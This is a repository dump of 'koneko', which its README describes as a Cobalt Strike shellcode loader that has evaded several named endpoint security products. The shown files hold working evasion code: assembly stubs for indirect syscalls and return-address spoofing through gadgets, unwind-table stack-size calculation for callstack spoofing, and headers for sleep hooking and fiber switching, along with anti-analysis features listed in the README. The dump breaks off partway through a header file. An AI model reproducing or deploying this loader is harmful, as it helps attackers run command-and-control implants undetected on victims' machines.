Repository: Meowmycks/koneko Branch: main Commit: 07a662cd3e85 Files: 17 Total size: 75.5 KB Directory structure: gitextract_pew1swbq/ ├── README.md ├── callme.asm ├── callr12.asm ├── callstackspoof.cpp ├── headers/ │ ├── callstackspoof.h │ ├── definitions.h │ ├── enums.h │ ├── includes.h │ ├── sleep.h │ ├── structs.h │ └── syscalls.h ├── main.cpp ├── scripts/ │ ├── encoder.py │ └── shellcode.txt ├── sleep.cpp ├── spoof.asm └── syscalls.cpp ================================================ FILE CONTENTS ================================================ ================================================ FILE: README.md ================================================ # koneko A Cobalt Strike shellcode loader with multiple advanced evasion features. ![1739210063119](https://github.com/user-attachments/assets/1d3d84fc-edf1-4e1a-b754-bdb382de5f36) ## Disclaimer Don't be evil with this. I created this tool to learn. I'm not responsible if the Feds knock on your door. ---------------------------------------------------------------------------------------------------------- Historically was able to (and may still) bypass - Palo Alto Cortex xDR - Microsoft Defender for Endpoints - Windows Defender - Malwarebytes Anti-Malware ![cortex](https://github.com/user-attachments/assets/340b46f1-f123-4c4a-ab57-9eabae38865e) ## Features - Fully custom sleep implementation with thread callstack spoofing using NtCreateEvent and NtWaitForSingleObject - Inline hook on Sleep/SleepEx to redirect to said custom sleep implementation - Switching between Fiber threads to further avoid memory scanning - Return address spoofing on (almost?) every other API/NTAPI call - All the indirect syscalls! - Bunch of anti-VM and anti-debugger checks - Splitting and hiding shellcode as a bunch of x64 addresses with the EncodePointer API - Probably other stuff I forgot to mention here ## Negatives - It's not a UDRL loader, these spoof tricks are limited to only the running executable and will go away when you process inject to something else. - The sleep obfuscation is tailored to Cobalt Strike. To work with other C2s you'd need to tailor how the hooking happens. Use a tool like `apimonitor` to intercept API calls from your beacon, detect the API(s) called on the sleep cycle, and then adjust the hooks as needed. ================================================ FILE: callme.asm ================================================ .data extern dwSSN:dword extern qwJMP:qword .code CallMe proc mov r10, rcx mov eax, dwSSN jmp qwJMP CallMe endp end ================================================ FILE: callr12.asm ================================================ .code CallR12 proc ; Allocate stack space sub rsp, 100h ; Store non-volatile registers mov qword ptr [rsp + 08h], rsi mov qword ptr [rsp + 10h], rdi mov qword ptr [rsp + 18h], r12 ; Set up registers for function and fixup handler mov r10, rcx ; R10 now holds the function to call lea r12, Fixup ; R12 points to Fixup label for return address ; More stack space for arguments and spoofed return address sub rsp, 200h ; Place the gadget address as the return address mov qword ptr [rsp], r8 ; Spoofed return address is now set to r12_gadget ; Check if there are any arguments cmp rdx, 0 je CallFunction ; If no arguments, jump to call the function directly ; Backup the number of arguments in R11 mov r11, rdx ; R11 = nArgs ; Shift arguments if necessary (move arguments into appropriate registers for calling convention) cmp rdx, 4 mov rcx, r9 ; First argument to RCX (from R9 if provided) mov rdx, qword ptr [rsp + 300h + 28h] mov r8, qword ptr [rsp + 300h + 30h] mov r9, qword ptr [rsp + 300h + 38h] jle CallFunction ; Jump if there are 4 or fewer arguments ; Move additional arguments from stack to align with calling convention mov rax, rcx mov rcx, r11 sub rcx, 4 ; RCX = number of extra arguments to move lea rsi, [rsp + 28h + 18h + 300h] ; Source (additional arguments in original stack frame) lea rdi, [rsp + 28h] ; Destination in stack frame rep movsq ; Move the arguments from RSI to RDI ; Restore RCX for function call mov rcx, rax CallFunction: ; Call the target function jmp r10 ; Jump to function (R10), with r12_gadget as return address Fixup: ; Restore non-volatile registers and stack frame mov rsi, qword ptr [rsp + 200h + 08h] mov rdi, qword ptr [rsp + 200h + 10h] mov r12, qword ptr [rsp + 200h + 18h] add rsp, 300h ; Clean up the stack frame ret ; Return to caller CallR12 endp end ================================================ FILE: callstackspoof.cpp ================================================ #include // Function to get the Exception Directory from .PDATA VOID GetExceptionAddress(PEXCEPTION_INFO pExceptionInfo) { PIMAGE_NT_HEADERS64 pImgNtHdr = (PIMAGE_NT_HEADERS64)(pExceptionInfo->hModule + ((PIMAGE_DOS_HEADER)pExceptionInfo->hModule)->e_lfanew); PIMAGE_DATA_DIRECTORY pExcDir = &pImgNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION]; pExceptionInfo->pExceptionDirectory = pExceptionInfo->hModule + pExcDir->VirtualAddress; pExceptionInfo->dwRuntimeFunctionCount = pExcDir->Size / sizeof(RUNTIME_FUNCTION); } // Backend function for CalculateStackSize that does all the hard work ULONG CalculateStackSizeBackend(PRUNTIME_FUNCTION pRuntimeFunctionTable, ULONG functionCount, DWORD64 ImageBase, DWORD64 pFuncAddr) { NTSTATUS status = STATUS_SUCCESS; PUNWIND_INFO pUnwindInfo = NULL; ULONG unwindOperation = 0; ULONG operationInfo = 0; ULONG index = 0; ULONG frameOffset = 0; StackFrame stackFrame = { 0 }; // Locate the correct RUNTIME_FUNCTION using Binary Search ULONG low = 0, high = functionCount - 1; PRUNTIME_FUNCTION pRuntimeFunction = NULL; while (low <= high) { ULONG mid = (low + high) / 2; PRUNTIME_FUNCTION pMidFunction = &pRuntimeFunctionTable[mid]; if (pFuncAddr < (ImageBase + pMidFunction->BeginAddress)) high = mid - 1; else if (pFuncAddr > (ImageBase + pMidFunction->EndAddress)) low = mid + 1; else { pRuntimeFunction = pMidFunction; // Found the function break; } } if (!pRuntimeFunction) return STATUS_INVALID_PARAMETER; // Function not found // If UnwindData is invalid, try retrieving function entry from Exception Directory if (pRuntimeFunction->UnwindData >= 0x80000000) { EXCEPTION_INFO excInfo = { 0 }; excInfo.hModule = ImageBase; GetExceptionAddress(&excInfo); // Manually search for the function in the Exception Directory pRuntimeFunction = (PRUNTIME_FUNCTION)excInfo.pExceptionDirectory; for (DWORD i = 0; i < excInfo.dwRuntimeFunctionCount; i++) { if (pFuncAddr >= (ImageBase + pRuntimeFunction[i].BeginAddress) && pFuncAddr <= (ImageBase + pRuntimeFunction[i].EndAddress)) { pRuntimeFunction = &pRuntimeFunction[i]; break; } } // Still could not find valid entry if (!pRuntimeFunction) return STATUS_INVALID_PARAMETER; } // Retrieve Unwind Information pUnwindInfo = (PUNWIND_INFO)(ImageBase + pRuntimeFunction->UnwindData); // Validate pUnwindInfo before using it if (!pUnwindInfo || (DWORD64)pUnwindInfo < ImageBase || (DWORD64)pUnwindInfo > ImageBase + 0xFFFFFF) { return STATUS_INVALID_PARAMETER; // Invalid pUnwindInfo } while (index < pUnwindInfo->CountOfCodes) { unwindOperation = pUnwindInfo->UnwindCode[index].UnwindOp; operationInfo = pUnwindInfo->UnwindCode[index].OpInfo; // Calculate Stack Size Based on Unwind Codes switch (unwindOperation) { case UWOP_PUSH_NONVOL: if (operationInfo == 4) return STATUS_INVALID_PARAMETER; stackFrame.totalStackSize += 8; break; case UWOP_ALLOC_SMALL: stackFrame.totalStackSize += ((operationInfo * 8) + 8); break; case UWOP_ALLOC_LARGE: index++; if (index >= pUnwindInfo->CountOfCodes) return 0x100; // Default safe size frameOffset = (operationInfo == 0) ? pUnwindInfo->UnwindCode[index].FrameOffset * 8 : (pUnwindInfo->UnwindCode[index].FrameOffset + (pUnwindInfo->UnwindCode[++index].FrameOffset << 16)); if (frameOffset > 0x10000) return 0x100; // Default safe size stackFrame.totalStackSize += frameOffset; break; case UWOP_PUSH_MACHFRAME: stackFrame.totalStackSize += (operationInfo == 0) ? 40 : 48; break; case UWOP_SAVE_NONVOL: index++; // Skip next entry break; case UWOP_SAVE_NONVOL_FAR: index += 2; // Skip two entries break; default: return 0x100; // Default safe size } index++; } // Include Return Address Size stackFrame.totalStackSize += 8; //printf("Stack size calculated: %u\n", stackFrame.totalStackSize); return stackFrame.totalStackSize; } // Wrapper function for CalculateStackSizeBackend ULONG CalculateStackSize(PVOID ReturnAddress) { if (!ReturnAddress) return STATUS_INVALID_PARAMETER; PRUNTIME_FUNCTION pRuntimeFunctionTable = NULL; DWORD64 ImageBase = 0; ULONG functionCount = 0; PUNWIND_HISTORY_TABLE pHistoryTable = NULL; // Locate RUNTIME_FUNCTION for given Function pRuntimeFunctionTable = RtlLookupFunctionEntry((DWORD64)ReturnAddress, &ImageBase, pHistoryTable); if (!pRuntimeFunctionTable) return STATUS_ASSERTION_FAILURE; // Find the number of runtime function entries PIMAGE_NT_HEADERS64 pNtHeaders = (PIMAGE_NT_HEADERS64)(ImageBase + ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew); PIMAGE_DATA_DIRECTORY pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION]; functionCount = pDataDir->Size / sizeof(RUNTIME_FUNCTION); // Calculate the total stack size for the function we are "returning" to return CalculateStackSizeBackend(pRuntimeFunctionTable, functionCount, ImageBase, (DWORD64)ReturnAddress); } ================================================ FILE: headers/callstackspoof.h ================================================ #pragma once #ifndef CALLSTACKSPOOF_H #define CALLSTACKSPOOF_H // Function to get the Exception Directory from .PDATA VOID GetExceptionAddress(PEXCEPTION_INFO pExceptionInfo); // Backend function that does all the hard work ULONG CalculateStackSizeBackend(PRUNTIME_FUNCTION pRuntimeFunctionTable, ULONG functionCount, DWORD64 ImageBase, DWORD64 pFuncAddr); // Wrapper function for CalculateStackSizeBackend ULONG CalculateStackSize(PVOID ReturnAddress); #endif ================================================ FILE: headers/definitions.h ================================================ #pragma once #ifndef DEFINITIONS_H #define DEFINITIONS_H #define WIN32_LEAN_AND_MEAN #define NO_MIN_MAX #define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1) #define NtCurrentThread() ((HANDLE)(LONG_PTR)-2) #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= STATUS_SUCCESS) #define NTAPI_FUNCTION EXTERN_C NTSTATUS NTAPI #define RTL_CONSTANT_STRING(s) { sizeof((s)) - sizeof((s)[0]), sizeof((s)), (PWCH)(s) } #define InitializeObjectAttributes(p, n, a, r, s) \ do { \ (p)->Length = sizeof(OBJECT_ATTRIBUTES); \ (p)->RootDirectory = (r); \ (p)->Attributes = (a); \ (p)->ObjectName = (n); \ (p)->SecurityDescriptor = (s); \ (p)->SecurityQualityOfService = nullptr; \ } while (0) #define RtlInitUnicodeString(DestinationString, SourceString) \ do { \ if ((SourceString) == nullptr) { \ (DestinationString)->Length = 0; \ (DestinationString)->MaximumLength = 0; \ (DestinationString)->Buffer = nullptr; \ } else { \ size_t size = wcslen(SourceString) * sizeof(WCHAR); \ (DestinationString)->Length = static_cast(size); \ (DestinationString)->MaximumLength = static_cast(size + sizeof(WCHAR)); \ (DestinationString)->Buffer = const_cast(SourceString); \ } \ } while (0) #define NEW_STREAM L":%x%x\x00" #define PROCESSOR_FEATURE_MAX 64 #define KUSER_SHARED_DATA_ADDRESS 0x7FFE0000 #endif ================================================ FILE: headers/enums.h ================================================ #pragma once #ifndef ENUMS_H #define ENUMS_H typedef enum _UNWIND_OP_CODES { UWOP_PUSH_NONVOL = 0, /* info == register number */ UWOP_ALLOC_LARGE, /* no info, alloc size in next 2 slots */ UWOP_ALLOC_SMALL, /* info == size of allocation / 8 - 1 */ UWOP_SET_FPREG, /* no info, FP = RSP + UNWIND_INFO.FPRegOffset*16 */ UWOP_SAVE_NONVOL, /* info == register number, offset in next slot */ UWOP_SAVE_NONVOL_FAR, /* info == register number, offset in next 2 slots */ UWOP_SAVE_XMM128 = 8, /* info == XMM reg number, offset in next slot */ UWOP_SAVE_XMM128_FAR, /* info == XMM reg number, offset in next 2 slots */ UWOP_PUSH_MACHFRAME /* info == 0: no error-code, 1: error-code */ } UNWIND_CODE_OPS; typedef enum _FILE_INFO_CLASS { //FileDirectoryInformation, // q: FILE_DIRECTORY_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) FileFullDirectoryInformation = 2, // q: FILE_FULL_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) FileBothDirectoryInformation, // q: FILE_BOTH_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) FileBasicInformation, // q; s: FILE_BASIC_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES) FileStandardInformation, // q: FILE_STANDARD_INFORMATION, FILE_STANDARD_INFORMATION_EX FileInternalInformation, // q: FILE_INTERNAL_INFORMATION FileEaInformation, // q: FILE_EA_INFORMATION FileAccessInformation, // q: FILE_ACCESS_INFORMATION FileNameInformation, // q: FILE_NAME_INFORMATION FileRenameInformation, // s: FILE_RENAME_INFORMATION (requires DELETE) // 10 FileLinkInformation, // s: FILE_LINK_INFORMATION FileNamesInformation, // q: FILE_NAMES_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) FileDispositionInformation, // s: FILE_DISPOSITION_INFORMATION (requires DELETE) FilePositionInformation, // q; s: FILE_POSITION_INFORMATION FileFullEaInformation, // FILE_FULL_EA_INFORMATION FileModeInformation, // q; s: FILE_MODE_INFORMATION FileAlignmentInformation, // q: FILE_ALIGNMENT_INFORMATION FileAllInformation, // q: FILE_ALL_INFORMATION (requires FILE_READ_ATTRIBUTES) FileAllocationInformation, // s: FILE_ALLOCATION_INFORMATION (requires FILE_WRITE_DATA) FileEndOfFileInformation, // s: FILE_END_OF_FILE_INFORMATION (requires FILE_WRITE_DATA) // 20 FileAlternateNameInformation, // q: FILE_NAME_INFORMATION FileStreamInformation, // q: FILE_STREAM_INFORMATION FilePipeInformation, // q; s: FILE_PIPE_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES) FilePipeLocalInformation, // q: FILE_PIPE_LOCAL_INFORMATION (requires FILE_READ_ATTRIBUTES) FilePipeRemoteInformation, // q; s: FILE_PIPE_REMOTE_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES) FileMailslotQueryInformation, // q: FILE_MAILSLOT_QUERY_INFORMATION FileMailslotSetInformation, // s: FILE_MAILSLOT_SET_INFORMATION FileCompressionInformation, // q: FILE_COMPRESSION_INFORMATION FileObjectIdInformation, // q: FILE_OBJECTID_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) FileCompletionInformation, // s: FILE_COMPLETION_INFORMATION // 30 FileMoveClusterInformation, // s: FILE_MOVE_CLUSTER_INFORMATION (requires FILE_WRITE_DATA) FileQuotaInformation, // q: FILE_QUOTA_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) FileReparsePointInformation, // q: FILE_REPARSE_POINT_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) FileNetworkOpenInformation, // q: FILE_NETWORK_OPEN_INFORMATION (requires FILE_READ_ATTRIBUTES) FileAttributeTagInformation, // q: FILE_ATTRIBUTE_TAG_INFORMATION (requires FILE_READ_ATTRIBUTES) FileTrackingInformation, // s: FILE_TRACKING_INFORMATION (requires FILE_WRITE_DATA) FileIdBothDirectoryInformation, // q: FILE_ID_BOTH_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) FileIdFullDirectoryInformation, // q: FILE_ID_FULL_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) FileValidDataLengthInformation, // s: FILE_VALID_DATA_LENGTH_INFORMATION (requires FILE_WRITE_DATA and/or SeManageVolumePrivilege) FileShortNameInformation, // s: FILE_NAME_INFORMATION (requires DELETE) // 40 FileIoCompletionNotificationInformation, // q; s: FILE_IO_COMPLETION_NOTIFICATION_INFORMATION (q: requires FILE_READ_ATTRIBUTES) // since VISTA FileIoStatusBlockRangeInformation, // s: FILE_IOSTATUSBLOCK_RANGE_INFORMATION (requires SeLockMemoryPrivilege) FileIoPriorityHintInformation, // q; s: FILE_IO_PRIORITY_HINT_INFORMATION, FILE_IO_PRIORITY_HINT_INFORMATION_EX (q: requires FILE_READ_DATA) FileSfioReserveInformation, // q; s: FILE_SFIO_RESERVE_INFORMATION (q: requires FILE_READ_DATA) FileSfioVolumeInformation, // q: FILE_SFIO_VOLUME_INFORMATION (requires FILE_READ_ATTRIBUTES) FileHardLinkInformation, // q: FILE_LINKS_INFORMATION FileProcessIdsUsingFileInformation, // q: FILE_PROCESS_IDS_USING_FILE_INFORMATION (requires FILE_READ_ATTRIBUTES) FileNormalizedNameInformation, // q: FILE_NAME_INFORMATION FileNetworkPhysicalNameInformation, // q: FILE_NETWORK_PHYSICAL_NAME_INFORMATION FileIdGlobalTxDirectoryInformation, // q: FILE_ID_GLOBAL_TX_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) // since WIN7 // 50 FileIsRemoteDeviceInformation, // q: FILE_IS_REMOTE_DEVICE_INFORMATION (requires FILE_READ_ATTRIBUTES) FileUnusedInformation, FileNumaNodeInformation, // q: FILE_NUMA_NODE_INFORMATION FileStandardLinkInformation, // q: FILE_STANDARD_LINK_INFORMATION FileRemoteProtocolInformation, // q: FILE_REMOTE_PROTOCOL_INFORMATION FileRenameInformationBypassAccessCheck, // (kernel-mode only); s: FILE_RENAME_INFORMATION // since WIN8 FileLinkInformationBypassAccessCheck, // (kernel-mode only); s: FILE_LINK_INFORMATION FileVolumeNameInformation, // q: FILE_VOLUME_NAME_INFORMATION FileIdInformation, // q: FILE_ID_INFORMATION FileIdExtdDirectoryInformation, // q: FILE_ID_EXTD_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) // 60 FileReplaceCompletionInformation, // s: FILE_COMPLETION_INFORMATION // since WINBLUE FileHardLinkFullIdInformation, // q: FILE_LINK_ENTRY_FULL_ID_INFORMATION // FILE_LINKS_FULL_ID_INFORMATION FileIdExtdBothDirectoryInformation, // q: FILE_ID_EXTD_BOTH_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) // since THRESHOLD FileDispositionInformationEx, // s: FILE_DISPOSITION_INFO_EX (requires DELETE) // since REDSTONE FileRenameInformationEx, // s: FILE_RENAME_INFORMATION_EX FileRenameInformationExBypassAccessCheck, // (kernel-mode only); s: FILE_RENAME_INFORMATION_EX FileDesiredStorageClassInformation, // q; s: FILE_DESIRED_STORAGE_CLASS_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES) // since REDSTONE2 FileStatInformation, // q: FILE_STAT_INFORMATION (requires FILE_READ_ATTRIBUTES) FileMemoryPartitionInformation, // s: FILE_MEMORY_PARTITION_INFORMATION // since REDSTONE3 FileStatLxInformation, // q: FILE_STAT_LX_INFORMATION (requires FILE_READ_ATTRIBUTES and FILE_READ_EA) // since REDSTONE4 // 70 FileCaseSensitiveInformation, // q; s: FILE_CASE_SENSITIVE_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES) FileLinkInformationEx, // s: FILE_LINK_INFORMATION_EX // since REDSTONE5 FileLinkInformationExBypassAccessCheck, // (kernel-mode only); s: FILE_LINK_INFORMATION_EX FileStorageReserveIdInformation, // q; s: FILE_STORAGE_RESERVE_ID_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES) FileCaseSensitiveInformationForceAccessCheck, // q; s: FILE_CASE_SENSITIVE_INFORMATION FileKnownFolderInformation, // q; s: FILE_KNOWN_FOLDER_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES) // since WIN11 FileStatBasicInformation, // since 23H2 FileId64ExtdDirectoryInformation, // FILE_ID_64_EXTD_DIR_INFORMATION FileId64ExtdBothDirectoryInformation, // FILE_ID_64_EXTD_BOTH_DIR_INFORMATION FileIdAllExtdDirectoryInformation, // FILE_ID_ALL_EXTD_DIR_INFORMATION FileIdAllExtdBothDirectoryInformation, // FILE_ID_ALL_EXTD_BOTH_DIR_INFORMATION FileStreamReservationInformation, // FILE_STREAM_RESERVATION_INFORMATION // since 24H2 FileMupProviderInfo, // MUP_PROVIDER_INFORMATION FileMaximumInformation } FILE_INFO_CLASS, * PFILE_INFO_CLASS; typedef enum _NT_PRODUCT_TYPE { NtProductWinNt = 1, NtProductLanManNt, NtProductServer } NT_PRODUCT_TYPE, * PNT_PRODUCT_TYPE; typedef enum _ALTERNATIVE_ARCHITECTURE_TYPE { StandardDesign, NEC98x86, EndAlternatives } ALTERNATIVE_ARCHITECTURE_TYPE; #endif ================================================ FILE: headers/includes.h ================================================ #pragma once #ifndef INCLUDES_H #define INCLUDES_H #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #endif ================================================ FILE: headers/sleep.h ================================================ #pragma once #ifndef SLEEP_H #define SLEEP_H EXTERN_C DWORD dwSSN; EXTERN_C PVOID qwJMP; EXTERN_C PVOID NTAPI Spoof(PVOID a, ...); EXTERN_C PVOID CallR12(PVOID Function, ULONGLONG nArgs, PVOID r12_gadget, ...); NTAPI_FUNCTION CallMe(); extern PBYTE hNtdll, hKernel32; extern std::vector callR12gadgets; extern PVOID gadget; extern NTSTATUS status; // Check if process sleeptime is being fastforwarded BOOL FiveHourEnergy(); // Sleeping without calling Sleep() VOID ImNotSleepingIPromise(DWORD milliseconds); // Hook Sleep and SleepEx VOID ReSleep(); extern SyscallEntry NtCreateEvent; extern SyscallEntry sysNtWaitForSingleObject; extern LPVOID mainFiber; extern LPVOID benignFiber; extern LPVOID shellcodeFiber; #endif ================================================ FILE: headers/structs.h ================================================ #pragma once #ifndef STRUCTS_H #define STRUCTS_H typedef struct SyscallEntry { INT SSN; PVOID Address; PVOID Syscall; }; //0x18 bytes (sizeof) struct _RTL_BALANCED_NODE { union { struct _RTL_BALANCED_NODE* Children[2]; //0x0 struct { struct _RTL_BALANCED_NODE* Left; //0x0 struct _RTL_BALANCED_NODE* Right; //0x8 }; }; union { struct { UCHAR Red : 1; //0x10 UCHAR Balance : 2; //0x10 }; ULONGLONG ParentValue; //0x10 }; }; //0x138 bytes (sizeof) typedef struct _LDR_DATA_TABLE_ENTRY_MODIFIED { struct _LIST_ENTRY InLoadOrderLinks; //0x0 struct _LIST_ENTRY InMemoryOrderLinks; //0x10 struct _LIST_ENTRY InInitializationOrderLinks; //0x20 PVOID DllBase; //0x30 PVOID EntryPoint; //0x38 ULONG SizeOfImage; //0x40 struct _UNICODE_STRING FullDllName; //0x48 struct _UNICODE_STRING BaseDllName; //0x58 union { UCHAR FlagGroup[4]; //0x68 ULONG Flags; //0x68 struct { ULONG PackagedBinary : 1; //0x68 ULONG MarkedForRemoval : 1; //0x68 ULONG ImageDll : 1; //0x68 ULONG LoadNotificationsSent : 1; //0x68 ULONG TelemetryEntryProcessed : 1; //0x68 ULONG ProcessStaticImport : 1; //0x68 ULONG InLegacyLists : 1; //0x68 ULONG InIndexes : 1; //0x68 ULONG ShimDll : 1; //0x68 ULONG InExceptionTable : 1; //0x68 ULONG ReservedFlags1 : 2; //0x68 ULONG LoadInProgress : 1; //0x68 ULONG LoadConfigProcessed : 1; //0x68 ULONG EntryProcessed : 1; //0x68 ULONG ProtectDelayLoad : 1; //0x68 ULONG ReservedFlags3 : 2; //0x68 ULONG DontCallForThreads : 1; //0x68 ULONG ProcessAttachCalled : 1; //0x68 ULONG ProcessAttachFailed : 1; //0x68 ULONG CorDeferredValidate : 1; //0x68 ULONG CorImage : 1; //0x68 ULONG DontRelocate : 1; //0x68 ULONG CorILOnly : 1; //0x68 ULONG ChpeImage : 1; //0x68 ULONG ChpeEmulatorImage : 1; //0x68 ULONG ReservedFlags5 : 1; //0x68 ULONG Redirected : 1; //0x68 ULONG ReservedFlags6 : 2; //0x68 ULONG CompatDatabaseProcessed : 1; //0x68 }; }; USHORT ObsoleteLoadCount; //0x6c USHORT TlsIndex; //0x6e struct _LIST_ENTRY HashLinks; //0x70 ULONG TimeDateStamp; //0x80 struct _ACTIVATION_CONTEXT* EntryPointActivationContext; //0x88 PVOID Lock; //0x90 struct _LDR_DDAG_NODE* DdagNode; //0x98 struct _LIST_ENTRY NodeModuleLink; //0xa0 struct _LDRP_LOAD_CONTEXT* LoadContext; //0xb0 PVOID ParentDllBase; //0xb8 PVOID SwitchBackContext; //0xc0 struct _RTL_BALANCED_NODE BaseAddressIndexNode; //0xc8 struct _RTL_BALANCED_NODE MappingInfoIndexNode; //0xe0 ULONGLONG OriginalBase; //0xf8 union _LARGE_INTEGER LoadTime; //0x100 ULONG BaseNameHashValue; //0x108 enum _LDR_DLL_LOAD_REASON LoadReason; //0x10c ULONG ImplicitPathOptions; //0x110 ULONG ReferenceCount; //0x114 ULONG DependentLoadFlags; //0x118 UCHAR SigningLevel; //0x11c ULONG CheckSum; //0x120 PVOID ActivePatchImageBase; //0x128 enum _LDR_HOT_PATCH_STATE HotPatchState; //0x130 } LDR_DATA_TABLE_ENTRY_MODIFIED, * PLDR_DATA_TABLE_ENTRY_MODIFIED; // Define call stack spoofing structs typedef struct { PVOID Fixup; // 0 PVOID OG_retaddr; // 8 PVOID rbx; // 16 PVOID rdi; // 24 PVOID BTIT_ss; // 32 PVOID BTIT_retaddr; // 40 PVOID Gadget_ss; // 48 PVOID RUTS_ss; // 56 PVOID RUTS_retaddr; // 64 PVOID ssn; // 72 PVOID trampoline; // 80 PVOID rsi; // 88 PVOID r12; // 96 PVOID r13; // 104 PVOID r14; // 112 PVOID r15; // 120 } PRM, * PPRM; typedef union _UNWIND_CODE { struct { BYTE CodeOffset; BYTE UnwindOp : 4; BYTE OpInfo : 4; }; USHORT FrameOffset; } UNWIND_CODE, * PUNWIND_CODE; typedef struct _UNWIND_INFO { BYTE Version : 3; BYTE Flags : 5; BYTE SizeOfProlog; BYTE CountOfCodes; BYTE FrameRegister : 4; BYTE FrameOffset : 4; UNWIND_CODE UnwindCode[1]; } UNWIND_INFO, * PUNWIND_INFO; typedef struct _EXCEPTION_INFO { UINT64 hModule; UINT64 pExceptionDirectory; DWORD dwRuntimeFunctionCount; }EXCEPTION_INFO, * PEXCEPTION_INFO; typedef struct { LPCWSTR dllPath; ULONG offset; ULONG totalStackSize; BOOL requiresLoadLibrary; BOOL setsFramePointer; PVOID returnAddress; BOOL pushRbp; ULONG countOfCodes; BOOL pushRbpIndex; } StackFrame, * PStackFrame; typedef struct _FILE_STANDARD_INFORMATION { LARGE_INTEGER AllocationSize; // The file allocation size in bytes. Usually, this value is a multiple of the sector or cluster size of the underlying physical device. LARGE_INTEGER EndOfFile; // The end of file location as a byte offset. ULONG NumberOfLinks; // The number of hard links to the file. BOOLEAN DeletePending; // The delete pending status. TRUE indicates that a file deletion has been requested. BOOLEAN Directory; // The file directory status. TRUE indicates the file object represents a directory. } FILE_STANDARD_INFORMATION, * PFILE_STANDARD_INFORMATION; typedef struct _FILE_RENAME_INFORMATION_EX { ULONG Flags; HANDLE RootDirectory; ULONG FileNameLength; _Field_size_bytes_(FileNameLength) WCHAR FileName[1]; } FILE_RENAME_INFORMATION_EX, * PFILE_RENAME_INFORMATION_EX; typedef struct _FILE_DISPOSITION_INFORMATION { BOOLEAN DeleteFile; } FILE_DISPOSITION_INFORMATION, * PFILE_DISPOSITION_INFORMATION; typedef struct _KSYSTEM_TIME { ULONG LowPart; LONG High1Time; LONG High2Time; } KSYSTEM_TIME, * PKSYSTEM_TIME; typedef struct _KUSER_SHARED_DATA { ULONG TickCountLowDeprecated; ULONG TickCountMultiplier; KSYSTEM_TIME InterruptTime; KSYSTEM_TIME SystemTime; KSYSTEM_TIME TimeZoneBias; USHORT ImageNumberLow; USHORT ImageNumberHigh; WCHAR NtSystemRoot[260]; ULONG MaxStackTraceDepth; ULONG CryptoExponent; ULONG TimeZoneId; ULONG LargePageMinimum; ULONG AitSamplingValue; ULONG AppCompatFlag; ULONGLONG RNGSeedVersion; ULONG GlobalValidationRunlevel; LONG TimeZoneBiasStamp; ULONG NtBuildNumber; NT_PRODUCT_TYPE NtProductType; BOOLEAN ProductTypeIsValid; BOOLEAN Reserved0[1]; USHORT NativeProcessorArchitecture; ULONG NtMajorVersion; ULONG NtMinorVersion; BOOLEAN ProcessorFeatures[PROCESSOR_FEATURE_MAX]; ULONG Reserved1; ULONG Reserved3; ULONG TimeSlip; ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture; ULONG BootId; LARGE_INTEGER SystemExpirationDate; ULONG SuiteMask; BOOLEAN KdDebuggerEnabled; union { UCHAR MitigationPolicies; struct { UCHAR NXSupportPolicy : 2; UCHAR SEHValidationPolicy : 2; UCHAR CurDirDevicesSkippedForDlls : 2; UCHAR Reserved : 2; }; }; USHORT CyclesPerYield; ULONG ActiveConsoleId; ULONG DismountCount; ULONG ComPlusPackage; ULONG LastSystemRITEventTickCount; ULONG NumberOfPhysicalPages; BOOLEAN SafeBootMode; union { UCHAR VirtualizationFlags; struct { UCHAR ArchStartedInEl2 : 1; UCHAR QcSlIsSupported : 1; }; }; UCHAR Reserved12[2]; union { ULONG SharedDataFlags; struct { ULONG DbgErrorPortPresent : 1; ULONG DbgElevationEnabled : 1; ULONG DbgVirtEnabled : 1; ULONG DbgInstallerDetectEnabled : 1; ULONG DbgLkgEnabled : 1; ULONG DbgDynProcessorEnabled : 1; ULONG DbgConsoleBrokerEnabled : 1; ULONG DbgSecureBootEnabled : 1; ULONG DbgMultiSessionSku : 1; ULONG DbgMultiUsersInSessionSku : 1; ULONG DbgStateSeparationEnabled : 1; ULONG SpareBits : 21; } DUMMYSTRUCTNAME2; } DUMMYUNIONNAME2; ULONG DataFlagsPad[1]; ULONGLONG TestRetInstruction; LONGLONG QpcFrequency; ULONG SystemCall; ULONG Reserved2; ULONGLONG FullNumberOfPhysicalPages; ULONGLONG SystemCallPad[1]; union { KSYSTEM_TIME TickCount; ULONG64 TickCountQuad; struct { ULONG ReservedTickCountOverlay[3]; ULONG TickCountPad[1]; } 